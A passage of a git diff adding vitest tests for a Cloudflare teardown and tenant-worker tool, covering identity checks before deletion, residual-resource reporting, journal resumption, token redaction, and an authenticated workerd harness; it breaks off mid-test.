+  it('lists the receipts prefix on a resume whose object receipts are complete', async () => {
+    const w = await world();
+    w.setHook((request, url) =>
+      request.method === 'DELETE' && url.pathname === w.bucketPath
+        ? json([])
+        : undefined,
+    );
+    const first = retained(await w.run());
+    expect(first.reason).toBe('outcome-unknown');
+    expect(first.facts.receipts.exportObjects).toHaveLength(2);
+    w.setHook(undefined);
+    w.state.objects.add(`${w.prefix}/receipts/v1/other/object.sql`);
+    const mark = w.requests.length;
+    // Every object receipt is recorded, so the deletes are skipped; ownership
+    // is attested, the prefix is still read before the bucket goes, and an
+    // object that was not there when the receipts were written refuses here.
+    expect(retained(await w.run()).reason).toBe('unexpected-object');
+    expect(w.requests.slice(mark)).toEqual([
+      `GET ${w.bucketPath}`,
+      `GET ${w.bucketPath}/objects`,
+    ]);
+    expect(w.state.bucketPresent).toBe(true);
+  });
+
+  it('re-issues a present pending mutation once the identity matches', async () => {
+    const w = await world();
+    w.setHook((request, url) =>
+      request.method === 'DELETE' && url.pathname === w.bucketPath
+        ? json([])
+        : undefined,
+    );
+    expect(retained(await w.run()).reason).toBe('outcome-unknown');
+    w.setHook(undefined);
+    const mark = w.requests.length;
+    const outcome = await w.run();
+    expect(outcome.status).toBe('cleaned');
+    expect(outcome.facts.receipts.exports).toMatchObject({
+      name: w.names.exportBucket,
+      settledByReread: false,
+    });
+    expect(
+      w.requests.slice(mark).filter((entry) => entry.startsWith('DELETE')),
+    ).toEqual([`DELETE ${w.bucketPath}`]);
+  });
+
+  it('refuses a changed identity on resume instead of deleting', async () => {
+    for (const kind of ['bucket', 'script'] as const) {
+      const w = await world();
+      const target = kind === 'bucket' ? w.bucketPath : w.script;
+      w.setHook((request, url) =>
+        request.method === 'DELETE' && url.pathname === target
+          ? json([])
+          : undefined,
+      );
+      expect(retained(await w.run()).reason).toBe('outcome-unknown');
+      const mark = w.requests.length;
+      w.setHook((request, url) => {
+        if (request.method !== 'GET') return undefined;
+        if (kind === 'bucket' && url.pathname === w.bucketPath)
+          return changedBucket(w);
+        if (kind === 'script' && url.pathname === `${w.script}/deployments`)
+          return deployments('other-version');
+        return undefined;
+      });
+      expect(retained(await w.run()).reason).toBe('identity-mismatch');
+      expect(
+        w.requests.slice(mark).filter((entry) => entry.startsWith('DELETE')),
+      ).toEqual([]);
+    }
+  });
+
+  it('refuses a mismatched secret set instead of deleting the worker', async () => {
+    const w = await world();
+    w.state.secretNames.push('UNEXPECTED_SECRET');
+    const outcome = retained(await w.run());
+    expect(outcome.reason).toBe('identity-mismatch');
+    expect(w.requests).not.toContain(`DELETE ${w.script}`);
+  });
+
+  it('keeps ingress present while preview URLs stay enabled', async () => {
+    const w = await world();
+    let reads = 0;
+    w.setHook((request, url) => {
+      if (request.method !== 'GET' || url.pathname !== `${w.script}/subdomain`)
+        return undefined;
+      reads += 1;
+      return reads === 1
+        ? json({ enabled: false, previews_enabled: true })
+        : undefined;
+    });
+    const outcome = await w.run();
+    expect(outcome.status).toBe('cleaned');
+    // On `enabled` alone that first read settles the step: the disable is never
+    // issued and the receipt records a reread that never happened.
+    expect(w.requests).toContain(`POST ${w.script}/subdomain`);
+    expect(outcome.facts.receipts.ingress).toMatchObject({
+      settledByReread: false,
+    });
+  });
+
+  it('attests the export bucket once for the object deletes and the bucket delete', async () => {
+    const w = await world();
+    const outcome = await w.run();
+    expect(outcome.status).toBe('cleaned');
+    // The attestation, then the bucket delete's own probe and reread. A second
+    // attestation would read the bucket a fourth time.
+    expect(
+      w.requests.filter((entry) => entry === `GET ${w.bucketPath}`),
+    ).toHaveLength(3);
+    expect(w.requests.indexOf(`GET ${w.bucketPath}`)).toBeLessThan(
+      w.requests.findIndex((entry) =>
+        entry.startsWith(`DELETE ${w.bucketPath}`),
+      ),
+    );
+  });
+
+  it('refuses a resume owing only the bucket delete before it reads the prefix', async () => {
+    const w = await world();
+    w.setHook((request, url) =>
+      request.method === 'DELETE' && url.pathname === w.bucketPath
+        ? json([])
+        : undefined,
+    );
+    expect(retained(await w.run()).reason).toBe('outcome-unknown');
+    w.setHook((request, url) =>
+      request.method === 'GET' && url.pathname === w.bucketPath
+        ? changedBucket(w)
+        : undefined,
+    );
+    w.state.objects.add(`${w.prefix}/receipts/v1/other/object.sql`);
+    const mark = w.requests.length;
+    // Ownership is proven first, so the changed identity refuses ahead of the
+    // listing that would otherwise report the object as unexpected.
+    expect(retained(await w.run()).reason).toBe('identity-mismatch');
+    expect(w.requests.slice(mark)).toEqual([`GET ${w.bucketPath}`]);
+    expect(w.state.bucketPresent).toBe(true);
+  });
+
+  it('refuses a first-attempt fleet database delete whose name changed', async () => {
+    const w = await world();
+    w.state.databases.set('fleet-uuid', {
+      uuid: 'fleet-uuid',
+      name: `${w.names.fleetDatabase}-replacement`,
+    });
+    expect(retained(await w.run()).reason).toBe('identity-mismatch');
+    expect(w.requests).not.toContain(`DELETE ${ROOT}/d1/database/fleet-uuid`);
+    expect(w.state.databases.has('fleet-uuid')).toBe(true);
+  });
+
+  it('refuses a first-attempt worker delete whose active version changed', async () => {
+    const w = await world();
+    let reads = 0;
+    w.setHook((request, url) => {
+      if (
+        request.method !== 'GET' ||
+        url.pathname !== `${w.script}/deployments`
+      )
+        return undefined;
+      reads += 1;
+      return reads === 1 ? undefined : deployments('other-version');
+    });
+    expect(retained(await w.run()).reason).toBe('identity-mismatch');
+    expect(w.requests).toContain(`POST ${w.script}/subdomain`);
+    expect(w.requests).not.toContain(`DELETE ${w.script}`);
+    expect(w.state.scriptPresent).toBe(true);
+  });
+
+  it('refuses a secret set carrying an extra unrecordable name', async () => {
+    for (const extra of [
+      'n'.repeat(DIRECT_TEARDOWN_MAXIMA.nameBytes + 1),
+      `CONTROL${String.fromCharCode(1)}NAME`,
+    ]) {
+      const w = await world();
+      w.state.secretNames.push(extra);
+      expect(retained(await w.run()).reason).toBe('identity-mismatch');
+      expect(w.requests).not.toContain(`DELETE ${w.script}`);
+      expect(w.state.scriptPresent).toBe(true);
+    }
+  });
+
+  it('refuses a first-attempt ingress disable whose active version changed', async () => {
+    const w = await world();
+    w.setHook((request, url) =>
+      request.method === 'GET' && url.pathname === `${w.script}/deployments`
+        ? deployments('other-version')
+        : undefined,
+    );
+    expect(retained(await w.run()).reason).toBe('identity-mismatch');
+    expect(w.requests).not.toContain(`POST ${w.script}/subdomain`);
+    expect(w.state.ingress).toBe(true);
+  });
+
+  it('refuses a first-attempt export object delete whose bucket changed', async () => {
+    const w = await world();
+    w.setHook((request, url) =>
+      request.method === 'GET' && url.pathname === w.bucketPath
+        ? changedBucket(w)
+        : undefined,
+    );
+    expect(retained(await w.run()).reason).toBe('identity-mismatch');
+    expect(
+      w.requests.filter(
+        (entry) => entry.startsWith('DELETE') && entry.includes('/objects/'),
+      ),
+    ).toEqual([]);
+    expect([...w.state.objects]).toHaveLength(2);
+  });
+
+  it('settles a first-attempt step whose probe already finds the resource absent', async () => {
+    const w = await world();
+    w.state.databases.delete('fleet-uuid');
+    const outcome = await w.run();
+    expect(outcome.status).toBe('cleaned');
+    expect(outcome.facts.receipts.fleet).toMatchObject({
+      uuid: 'fleet-uuid',
+      settledByReread: true,
+    });
+    expect(
+      w.requests.filter(
+        (entry) => entry === `GET ${ROOT}/d1/database/fleet-uuid`,
+      ),
+    ).toHaveLength(1);
+    expect(w.requests).not.toContain(`DELETE ${ROOT}/d1/database/fleet-uuid`);
+    expect((await diskState(w.journal)).teardown).toMatchObject({
+      phase: 'complete',
+      pending: null,
+      failure: null,
+    });
+  });
+
+  it('refuses a forbidden residual surface and records a fail-closed dispatch', async () => {
+    for (const surface of [
+      `${ROOT}/d1/database`,
+      `${ROOT}/workers/durable_objects/namespaces`,
+      `${ROOT}/workers/scripts`,
+      `${ROOT}/r2/buckets`,
+      `${ROOT}/workers/domains`,
+      ROUTES,
+      `${ROOT}/queues`,
+    ]) {
+      const w = await world();
+      w.setHook((request, url) =>
+        request.method === 'GET' && url.pathname === surface
+          ? forbid()
+          : undefined,
+      );
+      expect(retained(await w.run()).reason).toBe('forbidden');
+    }
+    const w = await world();
+    w.setHook((request, url) =>
+      request.method === 'GET' &&
+      url.pathname === `${ROOT}/workers/dispatch/namespaces`
+        ? forbid()
+        : undefined,
+    );
+    const outcome = retained(await w.run());
+    expect(outcome.reason).toBe('residual-present');
+    expect(present(outcome.facts.residual).dispatch).toMatchObject({
+      kind: 'fail-closed',
+      count: 0,
+      status: 403,
+      prefixCount: 0,
+    });
+  });
+
+  it('refuses a short numbered page and an unusable bucket page', async () => {
+    for (const page of [
+      json([{ uuid: 'one', name: 'one' }], { total_count: 2 }),
+      json([], { total_pages: 2 }),
+    ]) {
+      const short = await world();
+      short.setHook((request, url) =>
+        request.method === 'GET' &&
+        url.pathname === `${ROOT}/d1/database` &&
+        !url.searchParams.has('page')
+          ? page.clone()
+          : undefined,
+      );
+      expect(retained(await short.run()).reason).toBe('provider-unavailable');
+    }
+
+    const unsorted = await world();
+    unsorted.setHook((request, url) =>
+      request.method === 'GET' && url.pathname === `${ROOT}/r2/buckets`
+        ? json({
+            buckets: url.searchParams.has('start_after')
+              ? [{ name: 'aaa' }]
+              : [{ name: 'zzz' }],
+          })
+        : undefined,
+    );
+    expect(retained(await unsorted.run()).reason).toBe('provider-unavailable');
+
+    const nameless = await world();
+    nameless.setHook((request, url) =>
+      request.method === 'GET' && url.pathname === `${ROOT}/r2/buckets`
+        ? json({ buckets: [{ location: 'weur' }] })
+        : undefined,
+    );
+    expect(retained(await nameless.run()).reason).toBe('provider-unavailable');
+
+    // A page that repeats the name it was asked to start after: the ordering
+    // rule is `<=`, so a repeat refuses exactly as an out-of-order name does.
+    const repeated = await world();
+    repeated.setHook((request, url) =>
+      request.method === 'GET' && url.pathname === `${ROOT}/r2/buckets`
+        ? json({ buckets: [{ name: 'zzz' }] })
+        : undefined,
+    );
+    expect(retained(await repeated.run()).reason).toBe('provider-unavailable');
+  });
+
+  it('bounds the bucket inventory with the session limit it is given', async () => {
+    const w = await world();
+    w.setHook((request, url) =>
+      request.method === 'GET' && url.pathname === `${ROOT}/r2/buckets`
+        ? json({
+            buckets: Array.from(
+              { length: CLOUDFLARE_INVENTORY_BOUND + 1 },
+              (_row, index) => ({
+                name: `bucket-${`${index}`.padStart(6, '0')}`,
+              }),
+            ),
+          })
+        : undefined,
+    );
+    // Without the session's bound the loop would read the whole page, see an
+    // empty second page and settle; the refusal is the bound arriving.
+    expect(retained(await w.run()).reason).toBe('provider-unavailable');
+  });
+
+  it('refuses a listed row whose classifying field is not a string', async () => {
+    for (const [surface, row] of [
+      ['scripts', {}],
+      ['routes', { script: 7 }],
+      ['domains', {}],
+      ['queues', {}],
+      ['namespaces', { id: 'orphan' }],
+    ] as [ListedSurface, Row][]) {
+      // A shared account records no global count, so without this refusal the
+      // unclassifiable row would leave a zero prefix count and settle.
+      const w = await world({ disposableAccount: false });
+      w.state[surface].push(row);
+      expect(retained(await w.run()).reason).toBe('provider-unavailable');
+    }
+  });
+
+  it('terminates the bucket loop only on an empty page', async () => {
+    const w = await world();
+    w.state.extraBuckets.push({ name: 'zzz-other-bucket' });
+    const outcome = retained(await w.run());
+    expect(outcome.reason).toBe('residual-present');
+    expect(
+      w.requests.filter((entry) => entry === `GET ${ROOT}/r2/buckets`).length,
+    ).toBe(10);
+    expect(present(outcome.facts.residual).surfaces.buckets).toMatchObject({
+      prefixCount: 0,
+      prefixNames: [],
+      globalCount: 1,
+      exhaustive: true,
+    });
+  });
+
+  it('reports a prefix residual with names after the settle ceiling', async () => {
+    const w = await world();
+    w.state.extraDatabases.push({
+      uuid: 'residual-uuid',
+      name: `${w.prefix}-left-behind`,
+    });
+    const outcome = retained(await w.run());
+    expect(outcome).toMatchObject({
+      reason: 'residual-present',
+      phase: 'complete',
+    });
+    expect(present(outcome.facts.residual).settleAttempts).toBe(5);
+    expect(present(outcome.facts.residual).surfaces.databases).toMatchObject({
+      prefixCount: 1,
+      prefixNames: [`${w.prefix}-left-behind`],
+      exhaustive: true,
+    });
+    expect((await diskState(w.journal)).teardown).toMatchObject({
+      phase: 'complete',
+      failure: 'residual-present',
+    });
+  });
+
+  it('settles a namespace that disappears part way through the loop', async () => {
+    const w = await world();
+    w.state.namespaces.push({ id: 'slow', script: w.names.referenceWorker });
+    let attempts = 0;
+    w.setHook((request, url) => {
+      if (
+        request.method !== 'GET' ||
+        url.pathname !== `${ROOT}/workers/durable_objects/namespaces` ||
+        url.searchParams.has('page')
+      )
+        return undefined;
+      attempts += 1;
+      if (attempts >= 3) w.state.namespaces.splice(0);
+      return undefined;
+    });
+    const outcome = await w.run();
+    expect(outcome.status).toBe('cleaned');
+    expect(present(outcome.facts.residual).settleAttempts).toBe(3);
+  });
+
+  it('re-runs only the residual settle after a recorded residual failure', async () => {
+    const w = await world();
+    w.state.extraDatabases.push({
+      uuid: 'residual-uuid',
+      name: `${w.prefix}-left-behind`,
+    });
+    expect(retained(await w.run()).reason).toBe('residual-present');
+    const mark = w.requests.length;
+    w.state.extraDatabases.splice(0);
+    const outcome = await w.run();
+    expect(outcome.status).toBe('cleaned');
+    expect(present(outcome.facts.residual).settleAttempts).toBe(1);
+    expect(
+      w.requests.slice(mark).some((entry) => entry.startsWith('DELETE')),
+    ).toBe(false);
+  });
+
+  it('nulls every global count and issues no unfiltered list off a shared account', async () => {
+    const w = await world({ disposableAccount: false });
+    const outcome = await w.run();
+    expect(outcome.status).toBe('cleaned');
+    for (const surface of Object.values(
+      present(outcome.facts.residual).surfaces,
+    ))
+      expect(surface.globalCount).toBeNull();
+    expect(
+      w.requests.filter((entry) => entry === `GET ${ROOT}/d1/database`).length,
+    ).toBe(1);
+  });
+
+  it('lists domains and routes inside the recorded zone', async () => {
+    const w = await world();
+    const scoped: string[] = [];
+    w.setHook((_request, url) => {
+      if (url.pathname === `${ROOT}/workers/domains`)
+        scoped.push(`domains zone_id=${url.searchParams.get('zone_id')}`);
+      if (url.pathname === ROUTES) scoped.push(`routes ${url.pathname}`);
+      return undefined;
+    });
+    const outcome = await w.run();
+    expect(outcome.status).toBe('cleaned');
+    // Both counts these surfaces record are the zone's, the way
+    // `bucketJurisdictions` records the jurisdiction the bucket count covers.
+    expect(scoped).toEqual(['domains zone_id=zone', `routes ${ROUTES}`]);
+    expect(present(outcome.facts.residual).bucketJurisdictions).toEqual([
+      'default',
+    ]);
+  });
+
+  it('retains the pending mutation when the budget is exhausted mid-sequence', async () => {
+    const w = await world();
+    w.setHook((request, url) => {
+      if (request.method === 'DELETE' && url.pathname === w.script)
+        throw new DirectProviderError('budget-exhausted');
+      return undefined;
+    });
+    const outcome = retained(await w.run());
+    expect(outcome.reason).toBe('budget-exhausted');
+    // Mid-sequence: the phases before the exhausted call keep their receipts,
+    // and the call it stopped on stays pending rather than being rolled back.
+    expect((await diskState(w.journal)).teardown).toMatchObject({
+      phase: 'worker',
+      pending: { kind: 'delete-reference-worker' },
+      receipts: { ingress: { settledByReread: false }, worker: null },
+    });
+  });
+
+  it('records a prefixed queue as a residual', async () => {
+    const left = await world();
+    left.state.queues.push({ queue_name: `${left.prefix}-left-behind` });
+    const retainedOutcome = retained(await left.run());
+    expect(retainedOutcome.reason).toBe('residual-present');
+    expect(present(retainedOutcome.facts.residual).surfaces.queues).toEqual({
+      prefixCount: 1,
+      prefixNames: [`${left.prefix}-left-behind`],
+      globalCount: 1,
+      exhaustive: false,
+    });
+  });
+
+  it('records the provider attestation on scripts, domains, routes and queues', async () => {
+    const surfaces = ['scripts', 'domains', 'routes', 'queues'] as const;
+    const plain = await world();
+    const uncorroborated = await plain.run();
+    expect(uncorroborated.status).toBe('cleaned');
+    for (const name of surfaces)
+      expect(present(uncorroborated.facts.residual).surfaces[name]).toEqual({
+        prefixCount: 0,
+        prefixNames: [],
+        globalCount: 0,
+        exhaustive: false,
+      });
+    const attested = await world({ corroborate: true });
+    const corroborated = await attested.run();
+    expect(corroborated.status).toBe('cleaned');
+    for (const name of surfaces)
+      expect(present(corroborated.facts.residual).surfaces[name]).toEqual({
+        prefixCount: 0,
+        prefixNames: [],
+        globalCount: 0,
+        exhaustive: true,
+      });
+  });
+
+  it('settles a shared account on the prefix-scoped claim alone', async () => {
+    const w = await world({ disposableAccount: false });
+    w.state.scripts.push({ id: 'unrelated-worker' });
+    const outcome = await w.run();
+    expect(outcome.status).toBe('cleaned');
+    expect(present(outcome.facts.residual).surfaces.scripts).toEqual({
+      prefixCount: 0,
+      prefixNames: [],
+      globalCount: null,
+      exhaustive: false,
+    });
+  });
+
+  it('reads a queues 404 as an account without a queue collection', async () => {
+    const w = await world();
+    w.setHook((request, url) =>
+      request.method === 'GET' && url.pathname === `${ROOT}/queues`
+        ? absent()
+        : undefined,
+    );
+    const outcome = await w.run();
+    expect(outcome.status).toBe('cleaned');
+    expect(present(outcome.facts.residual).surfaces.queues).toEqual({
+      prefixCount: 0,
+      prefixNames: [],
+      globalCount: 0,
+      exhaustive: false,
+    });
+  });
+
+  it('refuses a journal recorded before the queues surface', async () => {
+    const w = await world();
+    expect((await w.run()).status).toBe('cleaned');
+    await closed(w.journal);
+    const path = join(w.journal.directory, 'journal.json');
+    // Control: the same journal resumes while the surface is there, so the
+    // refusal below is the missing surface and not another part of the record.
+    await closed(await opened({ ...w.f.input, mode: 'resume' }));
+    const snapshot = JSON.parse(await readFile(path, 'utf8')) as {
+      teardown: { residual: { surfaces: Record<string, unknown> } };
+    };
+    delete snapshot.teardown.residual.surfaces.queues;
+    await writeFile(path, `${JSON.stringify(snapshot)}\n`);
+    await expect(
+      opened({ ...w.f.input, mode: 'resume' }),
+    ).rejects.toMatchObject({ code: 'invalid-state' });
+  });
+
+  it('keeps the API token and request headers out of the journal', async () => {
+    const w = await world();
+    await w.run();
+    const bytes = await readFile(
+      join(w.journal.directory, 'journal.json'),
+      'utf8',
+    );
+    expect(bytes).not.toContain(API_TOKEN);
+    expect(bytes).not.toContain('Bearer');
+    expect(bytes).not.toContain('authorization');
+    expect(bytes).toContain('CLOUDFLARE_API_TOKEN');
+  });
+});
diff --git a/packages/fleet-control/test/direct-credentialed-tenant.harness.test.ts b/packages/fleet-control/test/direct-credentialed-tenant.harness.test.ts
new file mode 100644
index 00000000..5a1d85d1
--- /dev/null
+++ b/packages/fleet-control/test/direct-credentialed-tenant.harness.test.ts
@@ -0,0 +1,791 @@
+// SPDX-License-Identifier: Apache-2.0
+
+import { createHash } from 'node:crypto';
+import { mkdtemp, rm, writeFile } from 'node:fs/promises';
+import { tmpdir } from 'node:os';
+import { join } from 'node:path';
+import { fileURLToPath } from 'node:url';
+import type {
+  D1Database,
+  DurableObjectNamespace,
+  R2Bucket,
+} from '@cloudflare/workers-types';
+import {
+  DEPLOYMENT_IDENTITY_HEADER,
+  type ExecutionFenceTransition,
+  type ExecutionFenceVersionedReading,
+  seedDeploymentIdentity,
+} from '@proofoftech/flowsafe/do-runner';
+import { afterAll, beforeAll, describe, expect, it } from 'vitest';
+import {
+  createTestHarness,
+  unstable_splitSqlQuery as splitSqlQuery,
+  type TestHarness,
+  type WorkerHandle,
+} from 'wrangler';
+import {
+  directDeploymentSpec,
+  generateDirectDeploymentSecrets,
+} from '../scripts/direct-credentialed-spec.js';
+import {
+  DIRECT_TENANT_OBJECT_BODY,
+  DIRECT_TENANT_OBJECT_KEY,
+} from '../scripts/direct-credentialed-tenant-object.mjs';
+import { plainWorkerIngressModule } from '../src/plain-worker-backend.js';
+import { deploymentSpecDigest } from '../src/spec-digest.js';
+import {
+  DIRECT_FIXTURE_PROVIDER,
+  directFixtureManifest,
+} from './fixtures/direct-credentialed-config.js';
+import { createDirectReferenceHarness } from './fixtures/direct-reference-harness.js';
+
+const manifest = directFixtureManifest();
+const secrets = generateDirectDeploymentSecrets();
+const initial = directDeploymentSpec(
+  manifest,
+  'a',
+  'initial',
+  secrets,
+  DIRECT_FIXTURE_PROVIDER,
+);
+const next = directDeploymentSpec(
+  manifest,
+  'a',
+  'next',
+  secrets,
+  DIRECT_FIXTURE_PROVIDER,
+);
+const applicationHeaders = {
+  authorization: `Bearer ${secrets.application?.APP_PROBE_TOKEN}`,
+};
+const maintenanceHeaders = {
+  authorization: `Bearer ${secrets.maintenanceAdmin}`,
+};
+
+interface HarnessBindings {
+  DB: D1Database;
+  PROBE_BUCKET: R2Bucket;
+  MAINTENANCE: DurableObjectNamespace;
+  RUNNER: DurableObjectNamespace;
+}
+
+let directory: string | undefined;
+let entrypoint: string | undefined;
+
+function options(
+  release: '1' | '2',
+  token = secrets.application?.APP_PROBE_TOKEN ?? '',
+) {
+  if (!entrypoint) throw new Error('test ingress is not prepared');
+  return {
+    root: fileURLToPath(new URL('..', import.meta.url)),
+    workers: [
+      {
+        config: {
+          name: 'direct-tenant-harness',
+          main: entrypoint,
+          compatibility_date: '2026-08-06',
+          vars: {
+            DEPLOYMENT_TENANT: initial.tenantTag,
+            DEPLOYMENT_IDENTITY_SECRET: secrets.deploymentIdentity,
+            MAINTENANCE_ADMIN_SECRET: secrets.maintenanceAdmin,
+            APP_PROBE_TOKEN: token,
+            APPLICATION_RELEASE: release,
+            FLEET_SPEC_DIGEST: deploymentSpecDigest(
+              release === '1' ? initial : next,
+            ),
+          },
+          d1_databases: [
+            {
+              binding: 'DB',
+              database_name: 'direct-tenant-harness',
+              database_id: '00000000-0000-0000-0000-000000000000',
+            },
+          ],
+          r2_buckets: [
+            { binding: 'PROBE_BUCKET', bucket_name: 'direct-tenant-harness' },
+          ],
+          durable_objects: {
+            bindings: [
+              { name: 'RUNNER', class_name: 'Runner' },
+              { name: 'MAINTENANCE', class_name: 'Maintenance' },
+            ],
+          },
+          migrations: [
+            { tag: 'v1', new_sqlite_classes: ['Maintenance', 'Runner'] },
+          ],
+        },
+      },
+    ],
+  } satisfies Parameters<typeof createTestHarness>[0];
+}
+
+describe.sequential('direct tenant fixture in workerd', {
+  timeout: 30_000,
+}, () => {
+  let server: TestHarness;
+  let worker: WorkerHandle<HarnessBindings>;
+
+  const appFetch = (
+    path: string,
+    init?: Parameters<WorkerHandle['fetch']>[1],
+  ) => worker.fetch(new URL(path, `https://${initial.routeHostname}`), init);
+  const controlFetch = (
+    path: string,
+    init?: Parameters<WorkerHandle['fetch']>[1],
+  ) => worker.fetch(new URL(path, initial.maintenanceBaseUrl), init);
+
+  const readFence = async () => {
+    const response = await appFetch('/admin/execution-fence', {
+      headers: maintenanceHeaders,
+    });
+    expect(response.status).toBe(200);
+    return response.json() as Promise<ExecutionFenceVersionedReading>;
+  };
+  const transitionFence = async (body: ExecutionFenceTransition) => {
+    const response = await appFetch('/admin/execution-fence', {
+      method: 'POST',
+      headers: maintenanceHeaders,
+      body: JSON.stringify(body),
+    });
+    expect(response.status).toBe(200);
+    return response.json() as Promise<ExecutionFenceVersionedReading>;
+  };
+  const fencePost = (path: string, body?: string) =>
+    appFetch(path, {
+      method: 'POST',
+      headers: applicationHeaders,
+      ...(body === undefined ? {} : { body }),
+    });
+  const fenceProbe = (epoch: unknown) =>
+    fencePost('/__direct/fence-probe', JSON.stringify({ epoch }));
+  const fenceMutate = (body?: Record<string, unknown>) =>
+    fencePost(
+      '/__direct/fence-mutate',
+      body === undefined ? undefined : JSON.stringify(body),
+    );
+
+  beforeAll(async () => {
+    directory = await mkdtemp(join(tmpdir(), 'fleet-direct-tenant-'));
+    const ingress = plainWorkerIngressModule(initial);
+    entrypoint = join(directory, ingress.name);
+    const source = fileURLToPath(
+      new URL('../scripts/direct-credentialed-tenant.ts', import.meta.url),
+    );
+    await writeFile(
+      join(directory, initial.mainModule),
+      `export {default, Maintenance, Runner} from ${JSON.stringify(source)};\n`,
+    );
+    await writeFile(entrypoint, ingress.content);
+    server = createTestHarness(options('1'));
+    await server.listen();
+    worker = server.getWorker<HarnessBindings>();
+    const env = await worker.getEnv();
+    await seedDeploymentIdentity(env.DB, initial.tenantTag, 'open');
+    for (const migration of initial.migrations)
+      await env.DB.batch(
+        splitSqlQuery(migration.sql).map((sql) => env.DB.prepare(sql)),
+      );
+  }, 30_000);
+
+  afterAll(async () => {
+    try {
+      await server?.close();
+    } finally {
+      if (directory) await rm(directory, { recursive: true, force: true });
+    }
+  }, 30_000);
+
+  it('authenticates probes and reads real D1 state', async () => {
+    for (const headers of [{}, { authorization: 'Bearer wrong' }]) {
+      expect((await appFetch('/__direct/health', { headers })).status).toBe(
+        401,
+      );
+      expect(
+        (await appFetch('/__direct/object', { method: 'POST', headers }))
+          .status,
+      ).toBe(401);
+    }
+    const response = await appFetch('/__direct/health', {
+      headers: applicationHeaders,
+    });
+    expect(response.status).toBe(200);
+    expect(await response.json()).toEqual({ release: '1', marker: 'initial' });
+    const env = await worker.getEnv();
+    expect((await env.PROBE_BUCKET.list()).objects).toEqual([]);
+  });
+
+  it('uses the host maintenance authenticator and actual Durable Object', async () => {
+    expect(
+      (
+        await controlFetch('/admin/ensure-maintenance', {
+          method: 'POST',
+          headers: applicationHeaders,
+        })
+      ).status,
+    ).toBe(401);
+    const ensured = await controlFetch('/admin/ensure-maintenance', {
+      method: 'POST',
+      headers: maintenanceHeaders,
+    });
+    expect(ensured.status).toBe(200);
+    expect(await ensured.json()).toMatchObject({
+      nextSweepAt: expect.any(Number),
+      nextPurgeAt: expect.any(Number),
+      alarmAt: expect.any(Number),
+      deploymentSpecDigest: deploymentSpecDigest(initial),
+    });
+    const status = await controlFetch('/admin/maintenance-status', {
+      headers: maintenanceHeaders,
+    });
+    expect(status.status).toBe(200);
+    expect(await status.json()).toMatchObject({
+      nextSweepAt: expect.any(Number),
+      nextPurgeAt: expect.any(Number),
+      alarmAt: expect.any(Number),
+      deploymentSpecDigest: deploymentSpecDigest(initial),
+    });
+    expect(await worker.listDurableObjectIds('MAINTENANCE')).toHaveLength(1);
+  });
+
+  it('admits candidate maintenance on the control origin and rejects version selection on public ingress', async () => {
+    const headers = {
+      ...maintenanceHeaders,
+      'Cloudflare-Workers-Version-Overrides': `${initial.scriptName}="11111111-1111-4111-8111-111111111111"`,
+    };
+    expect(
+      (await appFetch('/admin/ensure-maintenance', { method: 'POST', headers }))
+        .status,
+    ).toBe(404);
+    const response = await controlFetch('/admin/ensure-maintenance', {
+      method: 'POST',
+      headers,
+    });
+    expect(response.status).toBe(200);
+    expect(await response.json()).toMatchObject({
+      deploymentSpecDigest: deploymentSpecDigest(initial),
+      nextSweepAt: expect.any(Number),
+    });
+    expect(
+      (await controlFetch('/__direct/health', { headers: applicationHeaders }))
+        .status,
+    ).toBe(404);
+  });
+
+  it('constructs the real Runner runtime behind its internal identity check', async () => {
+    const env = await worker.getEnv();
+    const runner = env.RUNNER.get(env.RUNNER.idFromName('fixture:run1'));
+    const url = 'https://runner/runs/fixture/run1/start-liveness';
+    expect((await runner.fetch(url)).status).toBe(503);
+    const response = await runner.fetch(url, {
+      headers: { [DEPLOYMENT_IDENTITY_HEADER]: secrets.deploymentIdentity },
+    });
+    expect(response.status).toBe(200);
+    expect(await response.json()).toEqual({ live: false });
+  });
+
+  it('runs retained-token reference probes through the native tenant across reloads', async () => {
+    const forwarded: {
+      url: string;
+      method: string;
+      authorization: string | null;
+    }[] = [];
+    const reference = await createDirectReferenceHarness({
+      applicationFetch: async (request) => {
+        expect(request.body === undefined || request.body === '').toBe(true);
+        forwarded.push({
+          url: request.url,
+          method: request.method,
+          authorization: request.headers.get('authorization'),
+        });
+        return worker.fetch(request.url, {
+          method: request.method,
+          headers: [...request.headers],
+        });
+      },
+    });
+    const work = await Promise.allSettled([
+      (async () => {
+        const probeSpec = reference.specs.find(
+          (spec) => spec.tenantTag === initial.tenantTag,
+        );
+        const token = reference.secrets.a.application?.APP_PROBE_TOKEN;
+        if (!probeSpec || !token)
+          throw new Error('reference fixture role is missing');
+        expect(probeSpec.routeHostname).toBe(initial.routeHostname);
+        const active = options('1', token);
+        const configuration = active.workers[0]?.config;
+        if (!configuration)
+          throw new Error('test Worker configuration is missing');
+        const databaseId = configuration.d1_databases[0]?.database_id;
+        if (!databaseId) throw new Error('native tenant database is missing');
+        await server.update(active);
+        worker = server.getWorker<HarnessBindings>();
+        await reference.fleetStore.withDeploymentLease(
+          probeSpec.tenantTag,
+          probeSpec.environment,
+          (lease) =>
+            lease.put({
+              tenantTag: probeSpec.tenantTag,
+              environment: probeSpec.environment,
+              backend: 'plain-worker',
+              scriptName: probeSpec.scriptName,
+              databaseId,
+              databaseName: probeSpec.databaseName,
+              schemaVersion: probeSpec.schemaVersion,
+              desiredSpecDigest: deploymentSpecDigest(probeSpec),
+              artifactVersion: 'native-probe-fixture',
+              durableObjectBindings: [],
+              routeHostname: probeSpec.routeHostname,
+              phase: 'ready',
+              updatedAt: new Date().toISOString(),
+            }),
+        );
+        const action = (
+          operation: 'health' | 'object-put' | 'object-read' | 'object-delete',
+        ) => ({ kind: 'tenant-probe', role: 'a', operation }) as const;
+        expect(await reference.success(action('health'))).toEqual({
+          role: 'a',
+          operation: 'health',
+          release: '1',
+          marker: 'initial',
+        });
+        const put = await reference.call(action('object-put'));
+        expect(reference.bridgeErrors).toEqual([]);
+        expect(put.value).toEqual({
+          contractVersion: 1,
+          configSha256: reference.manifest.configSha256,
+          action: 'tenant-probe',
+          ok: true,
+          result: { role: 'a', operation: 'object-put', returned: true },
+        });
+        expect(put.response.headers.get('X-Direct-Application-Attempts')).toBe(
+          '1',
+        );
+        expect(put.response.headers.get('X-Direct-Provider-Attempts')).toBe(
+          '0',
+        );
+        expect(put.response.headers.get('X-Direct-Maintenance-Attempts')).toBe(
+          '0',
+        );
+        const expected = {
+          role: 'a',
+          operation: 'object-read',
+          present: true,
+          size: Buffer.byteLength(DIRECT_TENANT_OBJECT_BODY),
+          sha256: createHash('sha256')
